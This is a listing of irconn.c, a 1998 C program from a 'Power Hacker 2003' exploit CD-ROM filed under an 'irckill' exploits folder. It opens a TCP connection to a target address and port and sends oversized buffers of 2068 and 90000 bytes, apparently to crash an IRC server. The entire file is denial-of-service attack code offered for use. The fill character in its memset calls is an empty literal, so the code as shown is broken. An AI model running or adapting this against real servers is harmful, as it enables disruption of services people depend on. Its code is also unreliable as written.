home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / irckill / irconn.c < prev   
Encoding:
C/C++ Source or Header  |  1998-08-13  |  1.6 KB  |  103 lines

  1. /* See comments in ircacc.c. w00w00! */
  2.  
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <strings.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10.  
  11. #define ERROR  -1
  12. #define SUCCESS 0
  13.  
  14. void main(int argc, char **argv) 
  15. {
  16.   char *buf;
  17.  
  18.   int sockfd;
  19.   unsigned tt;
  20.  
  21.   struct sockaddr_in soc;
  22.  
  23.  
  24.   if(argc < 3)
  25.   {
  26.     fprintf(stderr, "Usage: %s <unsigned long addr> <int port>\n", argv[0]);
  27.     exit(ERROR);
  28.   }
  29.  
  30.   sscanf(argv[1], "%ul", &tt);
  31.     
  32.   soc.sin_family = AF_INET;
  33.   soc.sin_port   = htons(atoi(argv[2]));
  34.   soc.sin_addr.s_addr = htonl(tt);
  35.  
  36.   sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  37.   if(sockfd == ERROR)
  38.   {
  39.     perror("socket");
  40.     exit(ERROR);
  41.   }
  42.  
  43.   printf("connecting...");
  44.   if(connect(sockfd, (struct sockaddr *) &soc, sizeof(soc)) == ERROR)
  45.   {
  46.     perror("connect()");
  47.     exit(ERROR);
  48.   }
  49.  
  50.   printf("connected...sending data...");
  51.   buf = malloc(2068+1);
  52.   if (buf == NULL)
  53.   {
  54.     perror("malloc");
  55.     exit(ERROR);
  56.   }
  57.  
  58.   memset(buf, '', 2068);
  59.   buf[2068] = '\0';
  60.   if (write(sockfd, buf, strlen(buf)) == ERROR)
  61.   {
  62.     perror("write");
  63.     exit(ERROR);
  64.   }
  65.  
  66.   if (write(sockfd, "\n", 1) == ERROR)
  67.   {
  68.     perror("write");
  69.     exit(ERROR);
  70.   }
  71.  
  72.   free(buf);        
  73.  
  74.   buf = malloc(90000+1);
  75.   if (buf == NULL)
  76.   {
  77.     perror("malloc");
  78.     exit(ERROR);
  79.   }
  80.  
  81.   memset(buf, '', 90000);
  82.   buf[90000] = '\0';
  83.  
  84.   if(write(sockfd, buf, strlen(buf)) == ERROR)
  85.   {
  86.     perror("write");
  87.     exit(ERROR);
  88.   }
  89.  
  90.   if(write(sockfd, "\n", 1) == ERROR)
  91.   {
  92.     perror("write");
  93.     exit(ERROR);
  94.   }
  95.  
  96.   free(buf);
  97.  
  98.   shutdown(sockfd, 2);
  99.   printf("connection terminated.\n");
  100.  
  101.   exit(SUCCESS);
  102. }
  103.